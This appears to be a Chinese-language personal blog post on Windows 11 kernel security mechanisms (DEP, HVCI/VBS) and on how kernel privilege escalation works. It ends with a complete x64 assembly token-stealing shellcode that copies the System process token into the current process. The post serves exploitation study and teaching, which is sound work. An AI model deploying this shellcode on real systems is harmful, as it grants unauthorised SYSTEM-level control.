Zj_W1nd's BLOG

现代内核安全机制——以Windows 11的kernel pwn为例

2024/10/06

DEP

全称Data Execution Prevention,看名字来讲就大概是说在数据区不允许执行。也就是经典的可写不可执行可执行的不可写的保护策略。我们能ret2sc执行我们自己的代码就是因为写入的数据和执行的代码没有隔离,dep就是为了阻止这一点。

HVCI和VBS

HVCI全称Hypervisor-protected Code Integrity(基于虚拟化保护的代码完整性检查),同样是将内存页可写与可执行分离,但对于DEP我们能够显式的通过一些手段让栈能够执行,通过修改某些标记?但hvci防止了这一点。修改内存页

提权和恶搞

我们Windows非常贴心的提供了API来泄露内核地址。这些函数相当一部分是“非公开函数”
不过说是非公开,只是我们无法通过#include <xxx.h>的方式进行引入而已。通过运行时加载或者extern声明的形式,我们可以从ntdll中获取这些函数,包括NtQuerySystemInformation这种能够无漏洞拿内核地址的以及NtWriteVirtualMemory这种任意地址写入的…Windows给的api太厉害以致于kaslr看起来似乎都没什么用了

Windows中,类似于task_struct,进程也是被结构体链表管理的。在内核中由一个EPROCESS管理每个进程。而除了pid,windows判断权限的方法主要是一个token。我们提权就是要从pid4(system权限固定进程,处理系统调用等)把token偷出来。否则内核是不让我们乱写的,用户态的写入会被大量的检查。

内核ShellCode?

Windows的系统调用号是非公开的。

shellcode也就是偷token了。即通过定位当前进程的ap链表项,通过循环遍历找到pid4的内核进程,然后偷取它的token复制到我们自己的进程,就有了系统权限。这是一段非常经典的windows内核shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[BITS 64]
_start:
mov rax, [gs:0x188] ;Cur thread(KTHREAD)
mov rax, [rax+0xb8] ;Cur process(EPROCESS)
mov rbx, rax ;Copy
__loop:
mov rbx, [rbx + 0x448] ;ActiveProcessLinks
sub rbx, 0x2e8 ;Go back to cur process (EPROCESS)
mov rcx, [rbx + 0x440] ;UniqueProcessID(PID)
cmp rcx, 4 ;is System?
jnz __loop
mov rcx, [rbx + 0x4b8] ;Token is at offset _EPROCESS + 0x4b8
and cl, 0xf0 ;Clear out _EX_FAST_REF RefCnt
mov [rax + 0x4b8], rcx ;copy 2 cur
xor rax, rax ;STATUS_SUCCESS
ret
CATALOG
  1. 1. DEP
  2. 2. HVCI和VBS
  3. 3. 提权和恶搞
  4. 4. 内核ShellCode?